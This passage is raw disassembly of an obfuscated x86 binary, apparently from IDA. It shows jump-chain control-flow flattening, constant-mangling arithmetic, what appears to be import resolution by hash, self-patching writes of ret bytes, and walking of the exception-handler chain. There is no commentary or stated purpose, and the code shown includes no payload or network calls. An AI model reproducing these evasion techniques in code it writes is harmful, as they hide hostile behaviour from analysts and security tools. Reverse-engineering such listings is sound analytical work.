; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_447DE5:				; CODE XREF: sub_43BEF7:loc_4426B0j
		ror	eax, 19h
		call	sub_449CFC

loc_447DED:				; CODE XREF: y22d6.y.:0043E70Dj
		jmp	loc_43EABB
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------

loc_447DF2:				; CODE XREF: y22d6.y.:0044A9B8j
		jnb	loc_442240
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_447DF8:				; CODE XREF: sub_43F501:loc_44A98Ej
		sub	edx, 0B5F10851h
		add	edx, 6299C621h
		add	edx, ebp
		add	edx, 59975A6Dh
		mov	edx, [edx]
		jmp	loc_43DFC7
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
		mov	eax, 6A74FD15h
		call	sub_43CA1A
		push	offset loc_44044F

loc_447E22:				; CODE XREF: y22d6.y.:0044CAF4j
		jmp	locret_439B0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_447E27:				; CODE XREF: sub_447268:loc_448D65j
		jb	loc_43E613
		rol	edx, 0Eh
		jmp	loc_44A7EE
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_447E35:				; CODE XREF: sub_43E86C:loc_437629j
		jz	loc_44B25A
		jmp	loc_445BBF
; END OF FUNCTION CHUNK	FOR sub_43E86C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	ds:off_41E038
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B06F

loc_447E47:				; CODE XREF: sub_44B06F+1j
		jmp	loc_43F82A
; END OF FUNCTION CHUNK	FOR sub_44B06F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_447E4C:				; CODE XREF: sub_43E7BF-603Bj
					; sub_43E7BF:loc_447734j ...
		jns	loc_43C68A

loc_447E52:				; CODE XREF: sub_43BEF7:loc_44ACFFj
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_44A413
		push	offset sub_43C17E
		jmp	loc_44C9E1
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------

loc_447E66:				; CODE XREF: y22d6.y.:004440FCj
		cmp	ecx, 811C1DFEh
		jmp	loc_43F43D
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_44CEB8
; ---------------------------------------------------------------------------

loc_447E77:				; CODE XREF: y22d6.y.:0043778Bj
		jle	loc_43A3C4

; =============== S U B	R O U T	I N E =======================================



sub_447E7D	proc near		; CODE XREF: sub_444871+7CBDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445DD0 SIZE 00000019 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	ebp
		sbb	ebp, ecx
		jmp	loc_445DD0
sub_447E7D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_447E8C:				; CODE XREF: sub_439E63:loc_44BC66j
		pop	ecx

loc_447E8D:				; CODE XREF: y22d6.y.:loc_438B60j
		or	ecx, 0D3F12B80h
		js	loc_43F31B
; END OF FUNCTION CHUNK	FOR sub_439E63
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_447E99:				; CODE XREF: sub_43FFE2+A639j
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		sbb	esi, 0D385B79Fh
		jmp	loc_43861A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441619

loc_447EAA:				; CODE XREF: sub_441619+98BCj
		jmp	sub_440CE6
; END OF FUNCTION CHUNK	FOR sub_441619
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_447EB0:				; CODE XREF: sub_43E81B+761Bj
		jmp	loc_449D2D
; END OF FUNCTION CHUNK	FOR sub_43E81B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_447EB7:				; CODE XREF: y22d6.y.:00437A8Ej
		shr	edi, 19h
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_447EBA:				; CODE XREF: y22d6.y.:loc_43A7E0j
					; sub_440330-404Bj ...
		jmp	loc_43DC49
; ---------------------------------------------------------------------------

loc_447EBF:				; CODE XREF: sub_4432B8+1D74j
					; y22d6.y.:0044749Dj
		pop	ecx
		pop	ebp
		jmp	loc_44B66A
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CE6

loc_447EC6:				; CODE XREF: sub_440CE6:loc_44C53Dj
		jo	loc_44B997
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43EF0B
		push	6B7A270Ah
		pop	eax
		or	eax, 0B19EBFE0h
		jmp	loc_43BC5F
; END OF FUNCTION CHUNK	FOR sub_440CE6
; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_43E81B
; ---------------------------------------------------------------------------

loc_447EEC:				; CODE XREF: y22d6.y.:0044709Dj
		sbb	ebx, 9810A055h
		push	8FC92EC3h

loc_447EF7:				; CODE XREF: y22d6.y.:loc_44708Bj
		or	eax, 0F0E919BCh
		add	eax, 2BD704B5h
		or	eax, 0FBE86755h
		cmp	eax, 0CA6B64B7h
		jmp	loc_449DE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_447F14:				; CODE XREF: sub_44193A-A6BFj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43F12F
		jmp	loc_43B291
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447CBE

loc_447F23:				; CODE XREF: sub_447CBE+6j
		mov	ebp, esp
		jno	sub_4398FF
		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		jmp	loc_44B301
; END OF FUNCTION CHUNK	FOR sub_447CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441E8

loc_447F38:				; CODE XREF: sub_4441E8+Aj
		mov	esp, ebp
		push	offset loc_44D086
		jmp	loc_448F2A
; END OF FUNCTION CHUNK	FOR sub_4441E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_447F44:				; CODE XREF: sub_437B01+5BA2j
		jz	loc_4397D9
		jmp	loc_437ACC
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------

loc_447F4F:				; DATA XREF: sub_43B656+3581o
		xor	eax, edx
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		push	esi
		pushf
		call	sub_445141
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		db 85h
		dd 0FFFF2757h, 24048B5Ah, 0A7685352h, 0E9580F26h, 5A6Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_447F74:				; CODE XREF: sub_440280:loc_441DFBj
		jz	loc_438F00

loc_447F7A:				; CODE XREF: y22d6.y.:loc_444E63j
		jmp	loc_442450
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_447F7F:				; DATA XREF: sub_43CC60+5o
		push	91314FD5h
		pop	esi
		add	esi, 33541371h
		xor	esi, 0D1A61C19h
		jmp	loc_43805E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_447F96:				; CODE XREF: sub_448EB6:loc_43894Ej
		mov	ebx, edi
		pop	edi
		lea	eax, nullsub_333
		push	offset sub_44826C
		jmp	loc_43EB39
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

locret_447FA9:				; CODE XREF: y22d6.y.:loc_43A365j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_447FAA:				; CODE XREF: sub_437B43:loc_441660j
		mov	eax, [esp-8+arg_4]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp-4+arg_0]
		call	sub_449ECF
		jmp	loc_444360
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_447FBD:				; CODE XREF: sub_448EB6+A1Ej
		cmp	byte ptr [eax],	0
		push	offset sub_44051D
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_447FCA:				; CODE XREF: y22d6.y.:loc_437AF2j
		lea	eax, sub_441030
		mov	byte ptr [eax],	0C3h
		jmp	loc_4370E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_447FD8:				; CODE XREF: sub_441030+1j
		mov	eax, [esp-4+arg_0]

loc_447FDB:				; CODE XREF: sub_43AF5B:loc_437CB7j
		push	edx
		call	sub_442AFF
		mov	eax, 0F2B89A19h
		call	sub_43CA1A
		jmp	loc_441BA5
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_447FF0:				; CODE XREF: sub_44B1D2:loc_43D26Ej
		jz	loc_43BD99
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_447FF6:				; CODE XREF: sub_448C77-CEA9j
		jmp	sub_43887A
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
		xchg	eax, edx
		shr	ebx, 15h
		push	edx
		jmp	loc_43BD91

; =============== S U B	R O U T	I N E =======================================



sub_448006	proc near		; CODE XREF: sub_43C242-4E93p
					; y22d6.y.:0043CB7Aj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043ADCD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D344 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp+0]
		jmp	loc_43D344
sub_448006	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_448012:				; CODE XREF: y22d6.y.:00448323j
		retn
; ---------------------------------------------------------------------------

locret_448013:				; CODE XREF: y22d6.y.:loc_44A9A8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445141

loc_448014:				; CODE XREF: sub_445141:loc_43F12Aj
		xor	esi, 830AB232h
		popf
		add	eax, esi
		pop	esi
		mov	ds:dword_43E380, eax
		jmp	loc_43E2FE
; END OF FUNCTION CHUNK	FOR sub_445141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D1

loc_448029:				; CODE XREF: sub_4404D1+2D3Ej
		cmp	ax, 0A5B3h
		jnz	loc_4404DA
		retn
; END OF FUNCTION CHUNK	FOR sub_4404D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_448034:				; CODE XREF: sub_44AA5D+7j
		jmp	loc_442496
; END OF FUNCTION CHUNK	FOR sub_44AA5D

; =============== S U B	R O U T	I N E =======================================



sub_448039	proc near		; CODE XREF: sub_4470B1+Ep

; FUNCTION CHUNK AT 0043E713 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044483A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044484B SIZE 0000000F BYTES

		mov	eax, large fs:0

loc_448040:				; CODE XREF: sub_448039:loc_44483Aj
					; sub_448039-37E6j
		jnz	loc_44484B
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]

loc_44804C:				; CODE XREF: y22d6.y.:loc_43E11Dj
		mov	eax, [eax]
		jmp	loc_43E713
sub_448039	endp

; ---------------------------------------------------------------------------

loc_448053:				; DATA XREF: sub_43FFE2+A634o
		setnz	byte ptr [ebp-5]
		push	offset loc_43E424
		jmp	locret_44BD90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_448061:				; CODE XREF: sub_438A94:loc_43D639j
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		call	sub_44B06F
		mov	eax, 3CC6743Ch
		push	esi
		push	0DEAF644Bh
		pop	esi
		jmp	loc_44E688
; END OF FUNCTION CHUNK	FOR sub_438A94

; =============== S U B	R O U T	I N E =======================================



sub_44807C	proc near		; CODE XREF: sub_4432B8+282p
					; y22d6.y.:004448AFj

; FUNCTION CHUNK AT 004376E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00437758 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00437BDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437CD1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00439A12 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043E33E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443EE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444478 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004457E2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A20E SIZE 0000001C BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, ebp
		push	ebx
		push	31526ECh
		pop	ebx
		jmp	loc_44A20E
sub_44807C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44808E	proc near		; DATA XREF: sub_44997F+25F2o
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_43E28D
		jmp	sub_44B003
sub_44808E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_44809D:				; CODE XREF: sub_43CC1A:loc_43E28Dj
		push	eax
		push	0
		call	sub_443EA2
		pop	eax
		jmp	loc_43FADA
; END OF FUNCTION CHUNK	FOR sub_43CC1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, 92A798AFh
		call	sub_43CA1A
		mov	ds:off_41E0B8, eax
		lea	eax, sub_43B58F
		mov	byte ptr [eax],	0C3h
		jmp	sub_43B58F
; ---------------------------------------------------------------------------

loc_4480CA:				; CODE XREF: y22d6.y.:loc_44D7BDj
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		jmp	loc_43E2B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_4480D5:				; CODE XREF: sub_44B489:loc_4484A8j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441AE7

loc_4480D9:				; CODE XREF: sub_441AE7+14j
		jmp	loc_44D8AB
; END OF FUNCTION CHUNK	FOR sub_441AE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4480DE	proc near		; CODE XREF: sub_448C77-11935p
					; sub_43760A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004382A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043A1CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B3E6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043B5B0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043BE95 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043EFDC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F869 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004402B4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044315E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445FA4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00446F88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004485FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449525 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004496B2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C443 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C9B3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044CA83 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D2C1 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		call	nullsub_4
		jmp	loc_446F88
sub_4480DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_4480F1:				; CODE XREF: sub_43E81B:loc_44D4E7j
		jz	loc_43B749
		jmp	loc_4447B5
; END OF FUNCTION CHUNK	FOR sub_43E81B

; =============== S U B	R O U T	I N E =======================================



sub_4480FC	proc near		; DATA XREF: y22d6.y.:0044A739o
		push	esi
		push	150088A7h
		call	sub_439B2C

loc_448107:				; CODE XREF: y22d6.y.:00444B1Fj
		jmp	nullsub_324
sub_4480FC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404E5

loc_44810C:				; CODE XREF: sub_4404E5-2B25j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4404E5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_345. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448112:				; DATA XREF: sub_444D95:loc_44705Do
		mov	[ebp-5], al
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx

loc_44811A:				; CODE XREF: y22d6.y.:loc_446FBAj
		jmp	loc_43A393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44811F:				; CODE XREF: sub_44B1D2-F50Cj
		add	esi, ebp
		add	esi, 312A1C1Ch
		mov	[esi], eax
		call	sub_43EE2C

loc_44812E:				; CODE XREF: y22d6.y.:00442DFAj
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		push	offset sub_43CCB6
		jmp	locret_447D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_44813D:				; CODE XREF: sub_4441D9:loc_437676j
		jnz	loc_44C104
		pop	ebp
		adc	edx, ecx
		jmp	loc_44B4DB
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_44814B:				; CODE XREF: sub_43EC01:loc_437A0Aj
		jno	loc_444DF5
		mov	eax, [esp+0]
		push	eax
		push	edx
		pop	eax
		jmp	loc_437EDD
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_44815C:				; CODE XREF: sub_43EC1C:loc_441A99j
		cmp	al, 0A4h
		jz	loc_43EF03
		jmp	loc_43CA47
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_448169:				; CODE XREF: sub_437901+5FD8j
		add	eax, 5F99CAC9h
		jnz	loc_449D11
		ror	eax, 4
		mov	edx, [esp-4+arg_0]
		jmp	loc_44CD29
; END OF FUNCTION CHUNK	FOR sub_437901
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_448181:				; CODE XREF: sub_447268-B9C6j
		jmp	loc_449EEE
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
		cmp	edi, 0FAA865A2h
		jmp	loc_449C47
; ---------------------------------------------------------------------------
		xor	edi, 859C7BC8h
		xor	ebp, ecx
		jmp	sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44819E:				; CODE XREF: sub_440280:loc_44A316j
		test	ebx, 0D6E0A05h
		jmp	loc_44D2FA
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441FB5

loc_4481AA:				; CODE XREF: sub_441FB5+12j
		jmp	loc_445736
; END OF FUNCTION CHUNK	FOR sub_441FB5

; =============== S U B	R O U T	I N E =======================================



sub_4481AF	proc near		; CODE XREF: sub_43E81B-3793p
					; sub_43E196p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AC46 SIZE 0000000C BYTES

		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		push	0
		jmp	loc_43AC46
sub_4481AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4481BC	proc near		; CODE XREF: sub_43BD44+7p
					; y22d6.y.:0044AF8Fj
		xchg	edx, [esp+0]

loc_4481BF:				; CODE XREF: y22d6.y.:0044BCDAj
		pop	edx
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		jmp	loc_43A0F9
sub_4481BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_4481CB:				; CODE XREF: sub_43B98D:loc_43A882j
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_444D67
		mov	eax, [ebp+8]
		jmp	loc_43E60E
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_4481DD:				; CODE XREF: y22d6.y.:004400AAj
					; sub_44271A+3346j
		jge	loc_44298B

loc_4481E3:				; CODE XREF: y22d6.y.:0043F172j
		jmp	loc_44971D
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		not	ebx
		jmp	loc_442988

; =============== S U B	R O U T	I N E =======================================



sub_4481EF	proc near		; CODE XREF: y22d6.y.:00440C68j
					; sub_44B489-2FE6p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004381AF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043A9F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B210 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BED8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F4CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F7C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F84F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442BD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445AEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446492 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044755F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448A8F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00449EE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B062 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044DBCC SIZE 00000015 BYTES

		xchg	esi, [esp+4+var_4]
		pop	esi
		cmp	al, 0A4h
		jz	loc_44B062
		jmp	loc_445AEC
sub_4481EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	edi, ebp
		shl	esi, 2
		jmp	sub_444E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_44820A:				; CODE XREF: sub_44439D-1A60j
					; sub_442C0C:loc_449515j
		sub	edx, eax

loc_44820C:				; CODE XREF: sub_44439D-1A69j
		or	eax, 0ACAECF23h
		and	eax, 2554F909h
		xor	eax, 0F9D2F009h
		call	sub_43CA1A
		rol	eax, 1Fh
		jmp	loc_4374AE
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_44822B:				; CODE XREF: y22d6.y.:0043AA79j
		sbb	eax, ebp
		adc	esi, edx
; START	OF FUNCTION CHUNK FOR sub_43F3AD

loc_44822F:				; CODE XREF: sub_43F3AD:loc_43AA68j
		xor	edx, 8A474F93h
		add	edx, ecx
		add	edx, 0C65B6C6Bh
		mov	[edx], eax
		pop	edx
		jmp	loc_4473B8
; END OF FUNCTION CHUNK	FOR sub_43F3AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_448245:				; CODE XREF: sub_43F750:loc_43F75Aj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44A7DE
		jmp	loc_44B61E
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
		ja	loc_43EC5D
		jmp	loc_442854

; =============== S U B	R O U T	I N E =======================================



sub_44825F	proc near		; CODE XREF: sub_44A793+7p
					; y22d6.y.:0044D2F5j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D421 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043FB22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E3A3 SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp+0]
		push	edx
		jmp	loc_43D421
sub_44825F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44826C	proc near		; DATA XREF: sub_448EB6-F17o
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_333
sub_44826C	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44A413
		push	610246C8h
		pop	eax
		rol	eax, 0Dh
		jmp	loc_440987
; ---------------------------------------------------------------------------

loc_44828C:				; DATA XREF: sub_44057E+81FEo
		pop	ebx
		pushf
		push	0C4FDC62Fh
		pop	eax
		or	eax, 0F9C6F189h
		rol	eax, 16h
		add	eax, 89C9681Ch
		jmp	loc_44B94F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_4482A8:				; CODE XREF: sub_439595-221Bj
		adc	ecx, ebx
		mov	edx, ecx
		jmp	loc_4420DE
; END OF FUNCTION CHUNK	FOR sub_439595
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438BEC

loc_4482B1:				; CODE XREF: sub_438BEC+AED8j
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_438BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_4482B8:				; CODE XREF: sub_43BA9E-3937j
		jmp	loc_439AE7
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_4482BD:				; CODE XREF: sub_43D025+Ej
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_438215
		mov	eax, [ebp+8]
		jmp	loc_43C15A
; END OF FUNCTION CHUNK	FOR sub_43D025

; =============== S U B	R O U T	I N E =======================================



sub_4482CF	proc near		; CODE XREF: sub_4499F4-C1C4p
					; y22d6.y.:0044A299j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D750 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004415DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444909 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444BB5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A505 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	edx, edx
		jnz	loc_44C706
		jmp	loc_43D750
sub_4482CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_4482E0:				; CODE XREF: sub_444427-1F0Fj
		jns	loc_441EAA
		mov	ebp, 0B809156Fh
		and	ecx, edi

loc_4482ED:				; CODE XREF: sub_444427:loc_44396Bj
		or	eax, 98AB5D1Bh
		xor	eax, ds:4000E0h
		rol	eax, 16h
		xor	eax, 0F3D056DCh
		call	sub_444581
		jmp	loc_43986E
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_44830C:				; CODE XREF: y22d6.y.:loc_44888Dj
		add	eax, 8260741Eh
		add	eax, ebp
		add	eax, 8AF5B9BBh
		mov	eax, [eax]
		mov	al, [eax]
		push	offset loc_44C937
		jmp	locret_448012
; ---------------------------------------------------------------------------
		mov	ds:dword_41E120, eax
		lea	eax, nullsub_333
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_333
; ---------------------------------------------------------------------------
		push	eax
		push	offset sub_43F224
		jmp	loc_444DAA
; ---------------------------------------------------------------------------

loc_448347:				; CODE XREF: y22d6.y.:0043B779j
		mov	al, [eax]
		jnb	loc_43C263
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_4486C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_448359:				; CODE XREF: sub_438B66+BFF3j
		cmp	dword ptr [ebp-20h], 0
		jge	loc_44A7F5
		jmp	loc_4422E6
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_448368:				; CODE XREF: sub_44B17B-127B9j
					; sub_4414C4+Fj
		push	esi
		or	esi, 0DA732FBBh
		jmp	loc_438436
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

